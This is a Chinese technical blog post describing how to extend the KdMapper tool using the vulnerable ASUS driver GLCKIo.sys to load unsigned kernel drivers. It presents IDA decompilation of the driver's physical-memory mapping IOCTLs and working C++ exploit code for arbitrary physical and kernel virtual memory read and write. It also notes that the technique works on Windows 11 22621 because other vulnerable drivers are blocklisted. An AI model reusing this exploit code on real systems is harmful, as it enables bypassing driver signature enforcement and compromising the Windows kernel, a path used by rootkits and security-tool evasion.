KdMapper扩展实现之ASUS(GLCKIo.sys)

发布时间 2023-09-05 10:36:04作者: 禁锢在时空之中的灵魂

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 GLCKIo.sys 
时间戳 540FF16D
MD5 66066D9852BC65988FB4777F0FF3FBB4

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        int v3; // [rsp+40h] [rbp-38h]
        PDEVICE_OBJECT DeviceObject; // [rsp+48h] [rbp-30h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+50h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+60h] [rbp-18h] BYREF

        DeviceObject = 0i64;
        DbgPrint("Entering DriverEntry");
        RtlInitUnicodeString(&DestinationString, L"\\Device\\GLCKIo");
        v3 = IoCreateDevice(DriverObject, 0, &DestinationString, 0x8010u, 0, 0, &DeviceObject);
        if (v3 < 0)
        {
                DbgPrint("ERROR: IoCreateDevice failed");
        }
        else
        {
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140001740;
                DriverObject->MajorFunction[2] = DriverObject->MajorFunction[14];
                DriverObject->MajorFunction[0] = DriverObject->MajorFunction[2];
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140001C20;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\GLCKIo");
                v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v3 < 0)
                {
                        DbgPrint("ERROR: IoCreateSymbolicLink failed");
                        IoDeleteDevice(DeviceObject);
                }
        }
        DbgPrint("Leaving DriverEntry");
        return v3;
}

 

3.2 IRP_MJ_DEVICE_CONTROL

IRP_MJ_DEVICE_CONTROL对应的函数 sub_140001740,其代码如下:

__int64 __fastcall sub_140001740(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
        ULONG nInputBufferLength; // [rsp+30h] [rbp-98h]
        struct _IO_STACK_LOCATION* pIosp; // [rsp+50h] [rbp-78h]
        MAP_PHYSICAL_MEMORY_INFO* pPhysicalMemoryInfo; // [rsp+58h] [rbp-70h]
        MAP_PHYSICAL_MEMORY_INFO Info; // [rsp+78h] [rbp-50h] BYREF

        pIosp = GetCurrrentStackLocation(pIrp);
        pPhysicalMemoryInfo = (MAP_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nMajorFunction = pIosp->MajorFunction;
        if (nMajorFunction)
        {
                if (nMajorFunction == 2)
                {
                        DbgPrint("IRP_MJ_CLOSE");
                }
                else if (nMajorFunction == 14)
                {
                        DbgPrint("IRP_MJ_DEVICE_CONTROL");
                        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;

                        switch (nIoControlCode)
                        {
                        case 0x80102040: //Map PhysicalMemory
                                DbgPrint("IOCTL_WINIO_MAPPHYSTOLIN");
                                if (nInputBufferLength)
                                {
                                        qmemcpy(&Info, pPhysicalMemoryInfo, nInputBufferLength);
                                        ntStatusRet = sub_1400011D0(
                                                Info.PhysicalAddress,
                                                Info.Size.QuadPart,
                                                &Info.pMappedAddress,
                                                &Info.hSection,
                                                &Info.pObject);
                                        if ((ntStatusRet & 0x80000000) == 0)
                                        {
                                                qmemcpy(pPhysicalMemoryInfo, &Info, nInputBufferLength);
                                                pIrp->IoStatus.Information = nInputBufferLength;
                                        }
                                        pIrp->IoStatus.Status = ntStatusRet;
                                }
                                else
                                {
                                        pIrp->IoStatus.Status = 0xC000000D;
                                }
                                break;
                        case 0x80102044: //UnMap PhysicalMemory
                                DbgPrint("IOCTL_WINIO_UNMAPPHYSADDR");
                                if (nInputBufferLength)
                                {
                                        qmemcpy(&Info, pPhysicalMemoryInfo, nInputBufferLength);
                                        ntStatusRet = sub_140001650(Info.hSection, Info.pMappedAddress, Info.pObject);
                                        pIrp->IoStatus.Status = ntStatusRet;
                                }
                                else
                                {
                                        pIrp->IoStatus.Status = 0xC000000D;
                                }
                                break;
				
			......
                        }
                }
        }
        else
        {
                DbgPrint("IRP_MJ_CREATE");
        }
        ntStatusRet = pIrp->IoStatus.Status;
        IofCompleteRequest(pIrp, 0);
        DbgPrint("Leaving WinIoDispatch");
        return ntStatusRet;
}

  其中映射物理内存 ControlCode 为 0x80102040,取消映射为 0x80102044,相应的函数为 sub_1400011D0 和 sub_140001650。

 

3.4 映射物理内存

sub_1400011D0 如下:

__int64 __fastcall sub_1400011D0(PHYSICAL_ADDRESS pPhysicalAddress, SIZE_T nSize, PVOID* pMappedAddress, void** hSection, PVOID* Object)
{
        NTSTATUS ntStatus; // [rsp+50h] [rbp-78h]
        BOOLEAN bMapEnd; // [rsp+54h] [rbp-74h]
        BOOLEAN bMapStart; // [rsp+55h] [rbp-73h]
        ULONG AddressSpace; // [rsp+58h] [rbp-70h] BYREF
        PHYSICAL_ADDRESS BusAddress; // [rsp+60h] [rbp-68h] BYREF
        PVOID BaseAddress; // [rsp+68h] [rbp-60h] BYREF
        union _LARGE_INTEGER SectionOffset; // [rsp+70h] [rbp-58h] BYREF
        PHYSICAL_ADDRESS TranslatedAddress; // [rsp+78h] [rbp-50h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+80h] [rbp-48h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+B0h] [rbp-18h] BYREF
        SIZE_T CommitSize; // [rsp+D8h] [rbp+10h] BYREF
        PVOID* pMappedAddressReturn; // [rsp+E0h] [rbp+18h]
        PHANDLE SectionHandle; // [rsp+E8h] [rbp+20h]

        SectionHandle = hSection;
        pMappedAddressReturn = pMappedAddress;
        CommitSize = nSize;
        BaseAddress = 0i64;
        DbgPrint("Entering MapPhysicalMemoryToLinearSpace");
        RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
        ObjectAttributes.Length = 48;
        ObjectAttributes.RootDirectory = 0i64;
        ObjectAttributes.Attributes = 64;
        ObjectAttributes.ObjectName = &DestinationString;
        ObjectAttributes.SecurityDescriptor = 0i64;
        ObjectAttributes.SecurityQualityOfService = 0i64;
        *SectionHandle = 0i64;
        *Object = 0i64;
        ntStatus = ZwOpenSection(SectionHandle, 0xF001Fu, &ObjectAttributes);
        if (ntStatus < 0)
        {
                DbgPrint("ERROR: ZwOpenSection failed");
        }
        else
        {
                ntStatus = ObReferenceObjectByHandle(*SectionHandle, 0xF001Fu, 0i64, 0, Object, 0i64);
                if (ntStatus < 0)
                {
                        DbgPrint("ERROR: ObReferenceObjectByHandle failed");
                }
                else
                {
                        BusAddress = pPhysicalAddress;
                        TranslatedAddress.QuadPart = CommitSize + pPhysicalAddress.QuadPart;
                        AddressSpace = 0;
                        bMapStart = HalTranslateBusAddress(Isa, 0, pPhysicalAddress, &AddressSpace, &BusAddress);
                        AddressSpace = 0;
                        bMapEnd = HalTranslateBusAddress(Isa, 0, TranslatedAddress, &AddressSpace, &TranslatedAddress);
                        if (bMapStart && bMapEnd)
                        {
                                CommitSize = TranslatedAddress.QuadPart - BusAddress.QuadPart;
                                SectionOffset = BusAddress;
                                ntStatus = ZwMapViewOfSection(
                                        *SectionHandle,
                                        (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                        &BaseAddress,
                                        0i64,
                                        TranslatedAddress.QuadPart - BusAddress.QuadPart,
                                        &SectionOffset,
                                        &CommitSize,
                                        ViewShare,
                                        0,
                                        0x204u);
                                if (ntStatus == -1073741800)
                                        ntStatus = ZwMapViewOfSection(
                                                *SectionHandle,
                                                (HANDLE)0xFFFFFFFFFFFFFFFFi64,
                                                &BaseAddress,
                                                0i64,
                                                CommitSize,
                                                &SectionOffset,
                                                &CommitSize,
                                                ViewShare,
                                                0,
                                                4u);
                                if (ntStatus >= 0)
                                {
                                        BaseAddress = (char*)BaseAddress + BusAddress.QuadPart - SectionOffset.QuadPart;
                                        *pMappedAddressReturn = BaseAddress;
                                }
                                else
                                {
                                        DbgPrint("ERROR: ZwMapViewOfSection failed");
                                }
                        }
                        else
                        {
                                DbgPrint("ERROR: HalTranslateBusAddress failed");
                        }
                }
        }
        if (ntStatus < 0)
                ZwClose(*SectionHandle);
        DbgPrint("Leaving MapPhysicalMemoryToLinearSpace");
        return (unsigned int)ntStatus;
}

  其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

3.5 取消映射物理内存

  sub_140001650 如下:

__int64 __fastcall sub_140001650(void* hSection, void* pMappedAddress, void* pObject)
{
        NTSTATUS ntStatus; // [rsp+20h] [rbp-18h]

        DbgPrint("Entering UnmapPhysicalMemory");
        ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pMappedAddress);
        if (ntStatus < 0)
                DbgPrint("ERROR: UnmapViewOfSection failed");
        if (pObject)
                ObfDereferenceObject(pObject);
        ZwClose(hSection);
        DbgPrint("Leaving UnmapPhysicalMemory");
        return (unsigned int)ntStatus;
}

 

3.6 MAP_PHYSICAL_MEMORY_INFO结构

00000000 MAP_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, align=0x8, copyof_380)
00000000                                         ; XREF: sub_140001740/r
00000000 Size            LARGE_INTEGER ?         ; XREF: sub_140001740+2D0/r
00000008 PhysicalAddress PHYSICAL_ADDRESS ?      ; XREF: sub_140001740+2D5/r
00000010 hSection        dq ?                    ; XREF: sub_140001740+2C0/o
00000010                                         ; sub_140001740+36F/r ; offset
00000018 pMappedAddress  dq ?                    ; XREF: sub_140001740+2C8/o
00000018                                         ; sub_140001740+367/r ; offset
00000020 pObject         dq ?                    ; XREF: sub_140001740+2B3/o
00000020                                         ; sub_140001740+35F/r ; offset
00000028 MAP_PHYSICAL_MEMORY_INFO ends

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)
        typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_GLCKIO_PHYSICAL_MEMORY_INFO {
                LARGE_INTEGER Size;
                PHYSICAL_ADDRESS PhysicalAddress;
                PVOID hSection;
                PVOID  pMappedAddress;
                PVOID pObject;
        } GLCKIO_PHYSICAL_MEMORY_INFO, * PGLCKIO_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#pragma warning(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define GLCKIO_DEVICE_TYPE          (DWORD)0x8010
#define GLCKIO_MAP_SECTION_FUNCID   (DWORD)0x810
#define GLCKIO_UNMAP_SECTION_FUNCID (DWORD)0x811

#define IOCTL_GLCKIO_MAP_USER_PHYSICAL_MEMORY      \
    CTL_CODE(GLCKIO_DEVICE_TYPE, GLCKIO_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102040

#define IOCTL_GLCKIO_UNMAP_USER_PHYSICAL_MEMORY    \
    CTL_CODE(GLCKIO_DEVICE_TYPE, GLCKIO_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x80102044

 

4.2 .c文件

NTSTATUS asus_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL asus_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

PVOID asus_driver::SuperMapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ ULONG NumberOfBytes,
        PVOID* Object,
        PHANDLE pHandle
)
{
        ULONG_PTR offset;
        ULONG mapSize;
        GLCKIO_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        offset = PhysicalAddress & ~(PAGE_SIZE - 1);
        mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;

        request.PhysicalAddress.QuadPart = PhysicalAddress;
        request.Size.QuadPart = mapSize;
        request.pMappedAddress = NULL;
        request.pObject = NULL;
        request.hSection = NULL;

        if (SuperCallDriver(DeviceHandle,
                IOCTL_GLCKIO_MAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request)))
        {
                /*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
                if (Object)
                {
                        *Object = request.pObject;
                }
                if (pHandle)
                {
                        *pHandle = request.hSection;
                }
                return request.pMappedAddress;
        }

        return NULL;
}

VOID asus_driver::SuperUnmapMemory(
        _In_ HANDLE DeviceHandle,
        _In_ PVOID SectionToUnmap,
        PVOID Object,
        HANDLE Handle
)
{
        GLCKIO_PHYSICAL_MEMORY_INFO request;

        RtlSecureZeroMemory(&request, sizeof(request));

        request.pMappedAddress = SectionToUnmap;
        request.pObject = Object;
        request.hSection = Handle;


        SuperCallDriver(DeviceHandle,
                IOCTL_GLCKIO_UNMAP_USER_PHYSICAL_MEMORY,
                &request,
                sizeof(request),
                &request,
                sizeof(request));
}

BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
        PVOID mappedSection = NULL;
        ULONG_PTR offset;
        PVOID Object = NULL;
        HANDLE hSection = NULL;
        //
        // Map physical memory section.
        //
        mappedSection = SuperMapMemory(DeviceHandle,
                PhysicalAddress,
                NumberOfBytes,
                &Object,
                &hSection);

        if (mappedSection) {

                offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));

                __try {

                        if (DoWrite) {
                                RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
                        }
                        else {
                                RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
                        }

                        bResult = TRUE;
                }
                __except (EXCEPTION_EXECUTE_HANDLER) {
                        bResult = FALSE;
                        dwError = GetExceptionCode();
                        Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
                }

                //
                // Unmap physical memory section.
                //
                SuperUnmapMemory(DeviceHandle,
                        mappedSection,
                        Object,
                        hSection);

        }
        else {
                dwError = GetLastError();
        }

        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

 

5. 运行效果

  Windows 11 22621 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

 

6.特别提示

  使用GLCKIo.sys制作的KdMapper可以在 Win11 22621上运行,其它常规的漏洞驱动不能在这个版本上运行,因为驱动被列入了黑名单,加载不了。